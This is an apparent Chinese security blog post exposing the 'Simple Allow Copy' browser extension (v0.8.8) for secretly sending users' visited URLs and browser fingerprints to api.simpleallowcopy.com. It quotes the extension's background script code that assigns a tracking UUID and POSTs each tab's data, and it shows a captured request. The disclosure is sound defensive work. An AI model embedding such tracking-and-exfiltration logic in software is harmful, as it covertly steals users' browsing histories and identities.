插件简述
"Simple Allow Copy"是一款可以帮助用户突破网页复制限制的浏览器扩展。它特别适用于那些禁止复制粘贴的网站,如百度文库、豆丁文库等。使用这款插件,用户可以轻松复制网页上的内容,无需手动输入或使用OCR工具。
该插件截止当前已有70万
用户使用,高达70万用户个人隐私将受到影响。
存在问题的插件版本:0.8.8
,更新时间为:2024年7月8日,如果你发现你的版本是0.8.8
,那么极有可能已经被偷取信息(浏览器会在背后自动更新插件)。
事情起因
事情起因是当时正在挂着代理抓包时,突然发现浏览器无缘无故会向api.simpleallowcopy.com
不断的发起请求。
直到查看了请求包才发现事情的严重性,因为它记录了我的所有网站URL以及浏览器一些指纹信息发送到api.simpleallowcopy.com
网站中。
它记录了:请求时间、请求URL、UserAgent、域名、本地语言、用户ID、操作系统等等信息。
数据包:
POST /skip HTTP/1.1
Host: api.simpleallowcopy.com
User-Agent: xixi
Content-Type: application/json
Accept: */*
Origin: chrome-extension://aefehdhdciieocakfobpaaolhipkcpgc
Sec-Fetch-Site: none
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive{"timestamp":"","uri":"","user_agent":"","domain":"","locale":"","user_id":"","platform":"","referer":""}
分析过程
经历上述情况后,果断找到这个插件的目录,插件标识是:aefehdhdciieocakfobpaaolhipkcpgc
,经过分析定位到了核心逻辑代码在:background/index.js
中实现:
chrome.storage.local.get(["sacp"], (function(e) {if (void 0 === e.sacp) {let e = self.crypto.randomUUID();chrome.storage.local.set({sacp: e})}}));
首先该代码一开始就判断:如果在本地存储中没有找到sacp,则生成一个新的UUID并保存,这个UUID在整个窃取过程是比较重要的。
主要获取信息的逻辑是写在了I函数里面,I函数一开始是做了一些判断。
if (i && i.url) {
if (o[i.id] !== i.url || n !== i.id) {n = i.id;o[i.id] = i.url;setTimeout(() => {// 执行异步处理}, 0);
}
检查是否已经处理过当前标签页 URL,如果没有处理过则更新相关状态并进行处理发起请求。
let c = i.sacp;
cmta = {timestamp: Date().toLocaleString(),uri: o.url,user_agent: navigator.userAgent,domain: n.hostname,locale: navigator.language,user_id: c || "",platform: navigator.platform || "",referer: o.initiator || ""
}
可以看到传递参数组成是由timestamp、uri、user_agent、domain、locale、user_id、platform、referer,这几个部分组成,当然还有一个隐藏参数,那就是IP地址,虽然参数中并没有IP,但实际上发起请求的时候就已经可以将请求人员IP进行存储。
async function(e, t) {
return (await fetch(e, {headers: {"Content-Type": "application/json"},method: "POST",body: JSON.stringify(t)})).json()
}("https://api.simpleallowcopy.com/skip", cmta)
最后再通过异步的方式将数据发送至http://api.simpleallowcopy.com
我们知道了核心代码是在I函数中,那么I函数在什么情况下会调用呢,什么情况下该插件会记录请求信息:
1、标签页激活:
当用户切换到一个新的标签页时触发。
chrome.tabs.onActivated.addListener(() => { i(); });
2、标签页更新:
当当前标签页的 URL 发生变化时触发。
chrome.tabs.onUpdated.addListener(() => { i(); });
3、扩展图标点击:
当用户点击扩展图标时,函数 i 会被触发。
chrome.action.onClicked.addListener(() => {chrome.tabs.query({ active: true, currentWindow: true }, ([e]) => {e && proxy.invoke(e.id, "toggle");});
});
最终导致的危害就是每条URL访问记录都会被窃取
通过查询域名相关信息发现:
域名: http://api.simpleallowcopy.com
域名注册时间:2024年5月29日
插件更新时间:2024年7月8日
该域名是5月29注册,插件7月8日更新,也就是说这一次行动是有蓄谋有计划的,通过这种方式窃取用户个人信息。
危害场景
很多师傅可能心里会想,只是记录了请求的URL,好像并没有什么危害,确实,如果单纯从记录的url来说可能危害并不是很大,但是实际上这个影响是巨大的。
场景一:
- 插件作者可以通过这些信息去分析安装了这个插件的人员真实身份、工作单位,甚至住址信息。
为什么呢?插件一开始有这样的代码:let e = self.crypto.randomUUID();
获取一个uuid。
这个uuid是插件作者记录你的所有信息用的一个标识,如果你从24年7月8日安装该插件,一直使用到25年7月,整整一年的时间。插件作者可以通过后台根据该uuid去定位,该用户一年中访问过什么网站,比如你在这一年访问过公司网站,在百度上搜索过家庭住址、某个网站的用户信息是通过Get传输的。结合以上几个要素,很轻易的定位到这个uuid的详细身份信息。
场景二:
- 敏感身份人员,如果单位互联网可用或者相关人员办公/个人电脑混用的情况,时间一长,这泄露的信息将会是致命的,例如历史原因导致的:用户密码信息、用户凭证信息GET明文传输的案例。想想都可怕。
场景三:
- 红蓝队员,你正在攻击的目标,正在挖掘的漏洞,可能拆安作者拿来你访问的Payload就能直接打,可能插件作者很轻易的获取到某些网络/安全设备地址
处置建议
该卸载就卸载把,可能你现在是低版本不受影响,但是保不准哪天浏览器就给你默默升级插件了。
chrome禁止自动更新插件可屏蔽URL:https://clients2.google.com/service/update2/crx
,如果不行以及其他浏览器那就得上百度研究了
以该插件为例,是否还会有其他插件存在这个情况呢(偷偷潜伏个几年)?上个网太难了!